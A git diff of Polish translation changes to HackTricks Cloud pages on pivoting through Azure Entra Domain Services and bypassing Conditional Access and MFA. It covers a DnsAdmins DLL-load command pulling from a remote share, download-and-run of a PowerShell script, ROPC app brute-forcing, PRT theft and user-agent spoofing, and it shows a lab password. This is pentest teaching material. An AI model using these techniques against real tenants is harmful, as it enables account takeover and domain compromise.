diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index b53366f6a..cf167d89a 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,9 +1,12 @@ -## Attribution -Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Proszę upewnić się, że przesyłasz tylko treści, które posiadasz lub na które masz pozwolenie od oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, lub w obu miejscach). Twój szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku dzielenia się dla wszystkich. +Możesz usunąć tę treść przed wysłaniem PR: + +## Uznanie autorstwa +Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Upewnij się, że przesyłasz tylko materiały, których jesteś właścicielem lub które możesz udostępnić za zgodą oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, albo w obu miejscach). Szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku współdzielenia dla wszystkich. ## HackTricks Training -Jeśli dodajesz, aby zdać egzamin w [ARTE certification](https://training.hacktricks.xyz/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-`. +Jeśli wysyłasz PR po to, aby zdać egzamin na [ARTE certification](https://hacktricks-training.com/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-`, `grte-` lub `azrte-`, w zależności od certyfikacji, którą zdajesz. + +Pamiętaj także, że poprawki dotyczące gramatyki/składni nie zostaną zaakceptowane jako redukcja liczby flag na egzaminie. -Pamiętaj również, że poprawki gramatyczne/składniowe nie będą akceptowane w celu zmniejszenia liczby flag egzaminacyjnych. W każdym razie, dziękujemy za wkład w HackTricks! diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index f4407bee1..0d78d515b 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,14 +1,14 @@ > [!TIP] -> Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -> Ucz się i ćwicz Hacking Azure: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte) +> Ucz się & ćwicz AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)\ +> Ucz się & ćwicz GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)\ +> Ucz się & ćwicz Az Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte) > >
> -> Wsparcie dla HackTricks +> Wspieraj HackTricks > -> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! -> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github. +> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)! +> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > >
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index e1bb800f0..d3c376f57 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -1,45 +1,45 @@ # Az - Microsoft Entra Domain Services -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} -## Usługi domenowe +## Domain Services -Microsoft Entra Domain Services pozwala na wdrożenie Active Directory w Azure bez potrzeby zarządzania kontrolerami domeny (w rzeczywistości nie masz nawet do nich dostępu). +Microsoft Entra Domain Services pozwala wdrożyć Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz do nich nawet dostępu). -Jego głównym celem jest umożliwienie uruchamiania aplikacji dziedzicznych w chmurze, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub w sytuacjach, gdy nie chcesz, aby zapytania do katalogu zawsze wracały do lokalnego środowiska AD DS. +Głównym celem jest umożliwienie uruchamiania w chmurze starszych aplikacji, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub tam, gdzie nie chcesz, aby zapytania katalogowe zawsze odsyłały do on-premises AD DS. -Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie zsynchronizowanych z innymi aktywnymi katalogami) z usługą domeny AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło być zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Usług Domenowych, dopóki hasło nie zostanie zmienione. +Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie synchronizowanych z innych Active Directory) z usługą domenową AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło zostać zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services dopóki hasło nie zostanie zmienione. > [!WARNING] -> Nawet jeśli tworzysz nową domenę aktywnego katalogu, nie będziesz w stanie zarządzać nią w pełni (chyba że wykorzystasz jakieś błędy konfiguracyjne), co oznacza, że domyślnie na przykład nie możesz tworzyć użytkowników w AD bezpośrednio. Tworzysz ich poprzez **synchronizację użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innymi lokalnymi AD), tylko użytkowników chmurowych (użytkowników utworzonych w Entra ID) lub nawet **jeszcze bardziej je filtrować**. +> Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że wykorzystasz pewne błędne konfiguracje), co oznacza, że domyślnie np. nie możesz bezpośrednio tworzyć użytkowników w AD. Tworzysz je przez **synchronizowanie użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych lokalnych AD), tylko użytkowników chmurowych (utworzonych w Entra ID), lub nawet **bardziej je filtrować**. > [!NOTE] -> Ogólnie rzecz biorąc, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieją lokalnie, nie jest to główna integracja między Entra ID a AD, ale wciąż interesujące jest wiedzieć, jak to skompromitować. +> Generalnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieje on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak ją skompromitować. ### Pivoting -Członkowie wygenerowanej grupy **`AAD DC Administrators`** mają przyznane lokalne uprawnienia administratora na maszynach wirtualnych, które są dołączone do zarządzanej domeny (ale nie w kontrolerach domeny), ponieważ są dodawani do lokalnej grupy administratorów. Członkowie tej grupy mogą również korzystać z **Zdalnego Pulpitu, aby łączyć się zdalnie z maszynami wirtualnymi dołączonymi do domeny**, a także są członkami grup: +Członkowie wygenerowanej grupy **`AAD DC Administrators`** otrzymują lokalne uprawnienia administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na domain controllers), ponieważ są dodawani do lokalnej grupy administratorskiej. Członkowie tej grupy mogą także używać **Remote Desktop to connect remotely to domain-joined VMs**, i są jednocześnie członkami następujących grup: -- **`Denied RODC Password Replication Group`**: To grupa, która określa użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers). -- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom na tworzenie zasad grup w domenie. Jednak jej członkowie nie mogą stosować zasad grup do użytkowników ani grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku. -- **`DnsAdmins`**: Ta grupa pozwala na zarządzanie ustawieniami DNS i była wykorzystywana w przeszłości do [eskalacji uprawnień i kompromitacji domeny](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku sprawdzono, że luka jest załatana: +- **`Denied RODC Password Replication Group`**: Jest to grupa określająca użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować group policies do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku. +- **`DnsAdmins`**: Ta grupa pozwala zarządzać ustawieniami DNS i była wykorzystywana w przeszłości do [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku stwierdzono, że podatność została załatana: ```text -dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll +dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniejszych grup, a także GPO **`AADDC Computers GPO`** dodaje jako lokalnych administratorów wszystkich członków grupy domenowej **`AAD DC Administrators`**. +Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniej wymienionych grup, a także GPO **`AADDC Computers GPO`** dodaje wszystkich członków grupy domenowej **`AAD DC Administrators`** do Local Administrators. -Przechodzenie z Entra ID do AD utworzonego za pomocą Domain Services jest proste, wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, uzyskać dostęp przez RDP do dowolnych/wszystkich maszyn w domenie i będziesz mógł ukraść dane oraz **skompromitować domenę.** +Pivoting from Entra ID to an AD created with Domain Services is straightforward — wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, połączyć się przez RDP z dowolną/wszystkimi maszynami w domenie i będziesz mógł wykradać dane oraz **compromise the domain.** -Jednak przechodzenie z domeny do Entra ID nie jest tak łatwe, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze sprawdzaj metadane wszystkich VM, ponieważ ich przypisane zarządzane tożsamości mogą mieć interesujące uprawnienia. Również **zrzucaj wszystkie hasła użytkowników z domeny** i próbuj je złamać, aby następnie zalogować się do Entra ID / Azure. +Jednak pivoting z domeny do Entra ID nie jest tak prosty, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze jednak sprawdzaj metadane wszystkich dołączonych VMs, ponieważ przypisane im managed identities mogą mieć interesujące uprawnienia. Również **dump all the users passwords from the domain** i spróbuj je złamać, aby potem zalogować się do Entra ID / Azure. > [!NOTE] -> Zauważ, że w przeszłości znaleziono inne luki w tym zarządzanym AD, które pozwalały na kompromitację DC, [jak ta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący, który skompromitował DC, mógł bardzo łatwo utrzymać trwałość, nie zauważając tego przez administratorów Azure ani nawet nie będąc w stanie tego usunąć. +> Zauważ, że w przeszłości znaleziono inne podatności w tym managed AD, które pozwalały na compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący kompromitujący DC mógłby bardzo łatwo maintain persistence bez tego, żeby Azure admins to zauważyli lub mogli to usunąć. -### Enumeracja +### Enumeration ```bash # Get configured domain services domains (you can add more subs to check in more subscriptions) az rest --method post \ @@ -59,7 +59,7 @@ az rest --method post \ # Get domain configuration az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" ## e.g. -az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true" # Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain @@ -83,4 +83,4 @@ fi done done <<< "$vm_list" ``` -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index ea83d8ebb..143ce751a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,16 +1,16 @@ -# Az - Polityki dostępu warunkowego i obejście MFA +# Az - Conditional Access Policies & MFA Bypass {{#include ../../../../banners/hacktricks-training.md}} ## Podstawowe informacje -Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, aby egzekwować kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\ -Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**. +Azure Conditional Access policies to reguły skonfigurowane w Microsoft Azure, które wymuszają kontrolę dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Te polityki pomagają organizacjom zabezpieczyć zasoby, stosując odpowiednie mechanizmy kontroli dostępu w odpowiednich okolicznościach.\ +Conditional Access policies w zasadzie **określają**, **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**. Oto kilka przykładów: -1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymaganie uwierzytelnienia wieloskładnikowego (MFA) w przypadku wykrycia ryzyka logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie. -2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego. +1. **Sign-In Risk Policy**: Ta polityka może wymagać multi-factor authentication (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu z jego zwykłym wzorcem, np. logowanie z innego kraju, system może zażądać dodatkowego uwierzytelnienia. +2. **Device Compliance Policy**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń zgodnych ze standardami bezpieczeństwa organizacji. Na przykład dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego. ## Enumeracja ```bash @@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net//policies?api-v # You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies" ``` -## Bypasses polityki dostępu warunkowego +## Omijanie Conditional Access Policies -Możliwe, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść. +Możliwe, że conditional access policy **sprawdza informacje, które można łatwo sfałszować, pozwalając na obejście polityki**. Jeśli na przykład polityka wymuszała MFA, atakujący będzie mógł ją ominąć. -Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (takie jak wszystkie aplikacje w chmurze). +Przy konfigurowaniu conditional access policy trzeba określić **użytkowników** objętych oraz **docelowe zasoby** (np. all cloud apps). -Należy również skonfigurować **warunki**, które **wyzwolą** politykę: +Trzeba też skonfigurować **warunki**, które **wywołają** politykę: -- **Sieć**: IP, zakresy IP i lokalizacje geograficzne -- Można to obejść, używając VPN lub Proxy do połączenia z kraju lub udając się do logowania z dozwolonego adresu IP -- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne -- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux -- Jeśli nie wybrano „Dowolnego urządzenia”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami -- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci” -- Aby obejść logowanie z nie wybraną opcją -- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem -- **Przepływy uwierzytelniania**: Opcje to „Przepływ kodu urządzenia” i „Transfer uwierzytelniania” -- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary +- **Network**: Ip, IP ranges and geographical locations +- Można to obejść używając VPN lub Proxy, aby połączyć się z dozwolonym krajem albo logując się z dozwolonego adresu IP +- **Microsoft risks**: User risk, Sign-in risk, Insider risk +- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux +- Jeśli „Any device” nie jest zaznaczone, ale wszystkie pozostałe opcje są wybrane, można to obejść używając losowego user-agent niepowiązanego z tymi platformami +- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” +- Aby obejść — zaloguj się używając opcji, która nie jest wybrana +- **Filter for devices**: Możliwe jest wygenerowanie reguły związaną z używanym urządzeniem +- **Authentication flows**: Options are “Device code flow” and “Authentication transfer” +- To nie wpłynie na atakującego, chyba że będzie próbował nadużyć któregoś z tych protokołów w ataku phishingowym, aby uzyskać dostęp do konta ofiary -Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia... +Możliwe **wyniki** to: Block lub Grant access z dodatkowymi warunkami jak require MFA, urządzenie musi być compliant… -### Platformy urządzeń - Warunek urządzenia +### Platformy urządzeń - warunek urządzenia -Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agencie**, więc łatwo to obejść. Nawet **wymuszając wszystkie opcje MFA**, jeśli użyjesz **user-agenta, który nie jest rozpoznawany**, będziesz mógł obejść MFA lub blokadę: +Można ustawić warunek oparty na **platformie urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agent**, więc łatwo to obejść. Nawet jeśli **wszystkie opcje będą wymuszać MFA**, jeśli użyjesz **user-agent, który nie jest rozpoznawany,** będziesz w stanie obejść MFA lub block:
-Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\ -Możesz zmienić user-agenta **ręcznie** w narzędziach deweloperskich: +Wystarczy, że przeglądarka **wyśle nieznany user-agent** (np. `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby ten warunek nie został wyzwolony.\ +Możesz zmienić user agent **ręcznie** w narzędziach deweloperskich:
-Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Albo użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Lokalizacje: Kraje, zakresy IP - Warunek urządzenia +### Locations: Countries, IP ranges - Device Condition -Jeśli to jest ustawione w polityce warunkowej, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** lub spróbować znaleźć sposób na dostęp z **dozwolonego adresu IP**, aby obejść te warunki. +Jeśli to jest ustawione w conditional policy, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** albo znaleźć sposób, by uzyskać dostęp z **dozwolonego adresu IP**, aby obejść te warunki. -### Aplikacje w chmurze +### Cloud Apps -Możliwe jest skonfigurowanie **polityk dostępu warunkowego, aby zablokować lub wymusić** na przykład MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**: +Można skonfigurować **conditional access policies, aby blokować lub wymuszać** np. MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
-Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz **zalogować się do dowolnej aplikacji**.\ -Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki identyfikatorów aplikacji wbudowanych** i spróbuje się do nich zalogować, informując cię o tym i nawet dając token, jeśli się powiedzie. +Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz zalogować się do dowolnej aplikacji.\ +Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki hardcoded application IDs** i będzie próbować logować się do nich, informując Cię i nawet zwracając token, jeśli się powiedzie. -Aby **przetestować konkretne identyfikatory aplikacji w konkretnych zasobach**, możesz również użyć narzędzia takiego jak: +Aby przetestować konkretne application IDs w konkretnych zasobach, możesz też użyć narzędzia takiego jak: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Ponadto możliwe jest również zabezpieczenie metody logowania (np. jeśli próbujesz zalogować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje pewne kontrole, aby spróbować obejść te zabezpieczenia. +Co więcej, możliwe jest także zabezpieczenie metody logowania (np. gdy próbujesz logować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje kilka kontroli, aby spróbować obejść także te zabezpieczenia. -Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również używane do podobnych celów, chociaż wydaje się być nieaktualizowane. +Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również użyte do podobnych celów, choć wygląda na nieutrzymywane. -Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być również używane do testowania tych zabezpieczeń i sprawdzenia, czy możliwe jest obejście MFA lub blokad, ale to narzędzie działa z perspektywy **whitebox**. Najpierw musisz pobrać listę aplikacji dozwolonych w dzierżawie, a następnie spróbuje się do nich zalogować. +Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być także użyte do testowania tych zabezpieczeń i sprawdzenia, czy da się obejść MFA lub blokady, jednak narzędzie to działa z perspektywy **whitebox**. Najpierw musisz pobrać listę Apps dozwolonych w tenantcie, a następnie spróbuje się do nich zalogować. -## Inne obejścia Az MFA +## Inne obejścia MFA w Az -### Dzwonek +### Ring tone -Jedną z opcji Azure MFA jest **odebranie połączenia na skonfigurowany numer telefonu**, gdzie użytkownik zostanie poproszony o **wysłanie znaku `#`**. +One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**. > [!CAUTION] -> Ponieważ znaki to tylko **tony**, atakujący mógłby **skomprymować** wiadomość **poczty głosowej** na numerze telefonu, skonfigurować jako wiadomość **ton `#`** i następnie, gdy żąda MFA, upewnić się, że **telefon ofiary jest zajęty** (dzwoniąc do niego), aby połączenie Azure zostało przekierowane do poczty głosowej. +> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail. -### Zgodne urządzenia +### Compliant Devices -Polityki często wymagają zgodnego urządzenia lub MFA, więc **atakujący mógłby zarejestrować zgodne urządzenie**, uzyskać token **PRT** i **w ten sposób obejść MFA**. +Polityki często wymagają compliant device lub MFA, więc **atakujący mógłby zarejestrować compliant device**, zdobyć **PRT** i w ten sposób **obejść MFA**. -Zacznij od zarejestrowania **zgodnego urządzenia w Intune**, a następnie **uzyskaj PRT** za pomocą: +Zacznij od zarejestrowania **compliant device w Intune**, a następnie **zdobądź PRT** za pomocą: ```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -114,27 +114,27 @@ Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie Ten skrypt pobiera dane uwierzytelniające użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji. -Jest to przydatne, aby zobaczyć, czy **nie jest wymagane MFA do logowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**. +To przydatne do sprawdzenia, czy **aren't required MFA to login in some applications**, które możesz później wykorzystać do **escalate pvivileges**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Pobierz wszystkie polityki +Pobiera wszystkie polityki ```bash roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń, i spróbuje zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty. +MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoft przy użyciu podanego zestawu poświadczeń i zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są conditional access policies i inne ustawienia multi-factor authentication, niektóre protokoły mogą pozostać jednoczynnikowe. Zawiera także dodatkowe sprawdzenie konfiguracji ADFS i może spróbować zalogować się do on-prem ADFS server, jeśli zostanie wykryty. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem. +To narzędzie pomogło zidentyfikować obejścia MFA i następnie nadużyć API w wielu produkcyjnych tenantach AAD, gdzie klienci AAD sądzili, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC powiodło się. > [!TIP] -> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force. +> Musisz mieć uprawnienia do wylistowania wszystkich aplikacji, aby móc wygenerować listę aplikacji do brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -143,29 +143,29 @@ To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token to zestaw funkcji, które mają na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Polityki Dostępu Warunkowego, testy dla portali Microsoft z włączonym 2FA itp. +Donkey token to zestaw funkcji mających na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Conditional Access Policies, testować portale Microsoft z włączonym 2FA itp..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Testuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**: +**Przetestuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**: ```bash -$username = "conditional-access-app-user@azure.training.hacktricks.xyz" +$username = "conditional-access-app-user@azure.hacktricks-training.com" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -Ponieważ **portal Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas wcześniejszego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany: +Ponieważ **Azure** **portal** jest **nieograniczony**, możliwe jest **pozyskanie tokenu z endpointu portalu, aby uzyskać dostęp do dowolnej usługi wykrytej podczas poprzedniego wykonania**. W tym przypadku wykryto Sharepoint i żądany jest token umożliwiający dostęp do niego: 